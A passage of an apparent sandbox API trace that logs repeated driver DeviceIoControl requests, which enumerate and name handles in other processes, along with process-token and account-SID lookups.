RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0122.673] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.673] PsAcquireProcessExitSynchronization () returned 0x0 [0122.673] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.673] ObReferenceObjectByHandle (in: Handle=0x414, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038bc360, HandleInformation=0x0) returned 0x0 [0122.673] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.673] PsReleaseProcessExitSynchronization () returned 0x2 [0122.673] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.673] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.673] ObfDereferenceObject (Object=0xfffffa80038bc360) returned 0x2 [0122.673] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.673] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.673] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0122.673] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.673] PsAcquireProcessExitSynchronization () returned 0x0 [0122.673] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.673] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a2bb60, HandleInformation=0x0) returned 0x0 [0122.673] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.673] PsReleaseProcessExitSynchronization () returned 0x2 [0122.673] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.673] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.673] ObfDereferenceObject (Object=0xfffffa8001a2bb60) returned 0x12 [0122.673] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.673] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.674] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xee, lpOverlapped=0x0) returned 1 [0122.674] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.674] PsAcquireProcessExitSynchronization () returned 0x0 [0122.674] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.674] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a2b850, HandleInformation=0x0) returned 0x0 [0122.674] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.674] PsReleaseProcessExitSynchronization () returned 0x2 [0122.674] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.674] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.674] ObfDereferenceObject (Object=0xfffffa8001a2b850) returned 0x1 [0122.674] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.674] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.674] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0122.674] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.674] PsAcquireProcessExitSynchronization () returned 0x0 [0122.674] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.674] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a312b0, HandleInformation=0x0) returned 0x0 [0122.674] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.674] PsReleaseProcessExitSynchronization () returned 0x2 [0122.674] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.674] ObQueryNameString (in: Object=0xfffffa8001a312b0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.674] ObfDereferenceObject (Object=0xfffffa8001a312b0) returned 0x3 [0122.674] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.674] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.674] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0122.674] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.674] PsAcquireProcessExitSynchronization () returned 0x0 [0122.674] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.674] ObReferenceObjectByHandle (in: Handle=0x4b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001cb7240, HandleInformation=0x0) returned 0x0 [0122.674] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.675] PsReleaseProcessExitSynchronization () returned 0x2 [0122.675] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.675] ObQueryNameString (in: Object=0xfffff8a001cb7240, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.675] ObfDereferenceObject (Object=0xfffff8a001cb7240) returned 0x2 [0122.675] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.675] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.675] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.675] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.675] PsAcquireProcessExitSynchronization () returned 0x0 [0122.675] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.675] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.675] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.675] PsReleaseProcessExitSynchronization () returned 0x2 [0122.675] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.675] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.675] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.675] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.675] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.675] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.675] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.675] PsAcquireProcessExitSynchronization () returned 0x0 [0122.675] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.675] ObReferenceObjectByHandle (in: Handle=0x54c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002f07140, HandleInformation=0x0) returned 0x0 [0122.675] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.675] PsReleaseProcessExitSynchronization () returned 0x2 [0122.675] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.675] ObQueryNameString (in: Object=0xfffff8a002f07140, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.675] ObfDereferenceObject (Object=0xfffff8a002f07140) returned 0x1 [0122.675] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.675] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.676] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0122.676] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.676] PsAcquireProcessExitSynchronization () returned 0x0 [0122.676] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.676] ObReferenceObjectByHandle (in: Handle=0x598, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80035159b0, HandleInformation=0x0) returned 0x0 [0122.676] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.676] PsReleaseProcessExitSynchronization () returned 0x2 [0122.676] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.676] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.676] ObfDereferenceObject (Object=0xfffffa80035159b0) returned 0x11 [0122.676] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.676] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.676] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0122.676] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.676] PsAcquireProcessExitSynchronization () returned 0x0 [0122.676] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.676] ObReferenceObjectByHandle (in: Handle=0x59c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003753c30, HandleInformation=0x0) returned 0x0 [0122.676] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.676] PsReleaseProcessExitSynchronization () returned 0x2 [0122.676] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.676] ObQueryNameString (in: Object=0xfffffa8003753c30, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.676] ObfDereferenceObject (Object=0xfffffa8003753c30) returned 0x3 [0122.676] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.676] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.676] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x770) returned 0xc0 [0122.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.676] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001ee8b30, HandleInformation=0x0) returned 0x0 [0122.676] ObOpenObjectByPointer (in: Object=0xfffffa8001ee8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.677] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x12 [0122.677] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.677] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.677] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.677] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.677] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.678] CloseHandle (hObject=0xc8) returned 1 [0122.678] CloseHandle (hObject=0xc0) returned 1 [0122.678] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.678] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.678] PsAcquireProcessExitSynchronization () returned 0x0 [0122.678] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880044355d0) [0122.678] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f8e070, HandleInformation=0x0) returned 0x0 [0122.678] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.678] PsReleaseProcessExitSynchronization () returned 0x2 [0122.678] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0122.678] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.678] ObfDereferenceObject (Object=0xfffffa8001f8e070) returned 0x1 [0122.678] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.679] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0122.679] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.679] PsAcquireProcessExitSynchronization () returned 0x0 [0122.679] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880044355d0) [0122.679] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001ee8420, HandleInformation=0x0) returned 0x0 [0122.679] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.679] PsReleaseProcessExitSynchronization () returned 0x2 [0122.679] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0122.679] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.679] ObfDereferenceObject (Object=0xfffffa8001ee8420) returned 0x1 [0122.679] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.679] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.679] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.679] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.679] PsAcquireProcessExitSynchronization () returned 0x0 [0122.679] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880044355d0) [0122.679] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.679] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.679] PsReleaseProcessExitSynchronization () returned 0x2 [0122.679] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0122.679] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.679] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.679] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.679] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.679] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x408) returned 0xc0 [0122.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.680] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001f9e530, HandleInformation=0x0) returned 0x0 [0122.680] ObOpenObjectByPointer (in: Object=0xfffffa8001f9e530, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.680] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x12 [0122.680] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.680] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.680] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.680] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.680] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.681] CloseHandle (hObject=0xc8) returned 1 [0122.681] CloseHandle (hObject=0xc0) returned 1 [0122.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.681] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.681] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.681] PsAcquireProcessExitSynchronization () returned 0x0 [0122.681] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880044355d0) [0122.681] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f9ed10, HandleInformation=0x0) returned 0x0 [0122.681] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.682] PsReleaseProcessExitSynchronization () returned 0x2 [0122.682] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0122.682] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.682] ObfDereferenceObject (Object=0xfffffa8001f9ed10) returned 0x1 [0122.682] 